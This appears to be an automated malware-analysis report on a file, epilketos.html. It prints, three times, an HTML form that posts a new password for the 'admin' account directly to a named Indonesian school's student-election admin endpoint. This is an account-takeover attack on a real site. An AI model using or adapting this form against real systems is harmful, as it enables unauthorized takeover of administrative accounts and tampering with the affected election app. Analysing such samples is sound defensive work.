PHP Malware Analysis

epilketos.html

md5: 705258579709ee52dde9dcda7b062911

Jump to: 

Screenshot
Attributes
URLs

Deobfuscated PHP code
<center>
<h1> junior ft kawan kelam</h1>
<form action="http://smpntigacisauk.sch.id/pilketos/index.php/admin/updatepassword" method="post" class="form-horizontal" accept-charset="utf-8">
            <label class="label-control">Username</label>
            <input type="text" name="username" value="admin" class="form-control" readonly=""  />
            <br>
            <label class="label-control">Password Baru</label>
            <input type="password" name="password" value="" class="form-control"  />
<br />
            <button type="submit" class="btn btn-sm btn-warning"><span class="glyphicon glyphicon-floppy-saved"></span>&nbsp;&nbsp;UPDATE PASSWORD</button>
            </form>    
</center>   
Execution traces
Generated HTML code
<html><head></head><body><center>
<h1> junior ft kawan kelam</h1>
<form action="http://smpntigacisauk.sch.id/pilketos/index.php/admin/updatepassword" method="post" class="form-horizontal" accept-charset="utf-8">
            <label class="label-control">Username</label>
            <input type="text" name="username" value="admin" class="form-control" readonly="">
            <br>
            <label class="label-control">Password Baru</label>
            <input type="password" name="password" value="" class="form-control">
<br>
            <button type="submit" class="btn btn-sm btn-warning"><span class="glyphicon glyphicon-floppy-saved"></span>&nbsp;&nbsp;UPDATE PASSWORD</button>
            </form>    
</center>   </body></html>
Original PHP code
<center>
<h1> junior ft kawan kelam</h1>
<form action="http://smpntigacisauk.sch.id/pilketos/index.php/admin/updatepassword" method="post" class="form-horizontal" accept-charset="utf-8">
            <label class="label-control">Username</label>
            <input type="text" name="username" value="admin" class="form-control" readonly=""  />
            <br>
            <label class="label-control">Password Baru</label>
            <input type="password" name="password" value="" class="form-control"  />
<br />
            <button type="submit" class="btn btn-sm btn-warning"><span class="glyphicon glyphicon-floppy-saved"></span>&nbsp;&nbsp;UPDATE PASSWORD</button>
            </form>    
</center>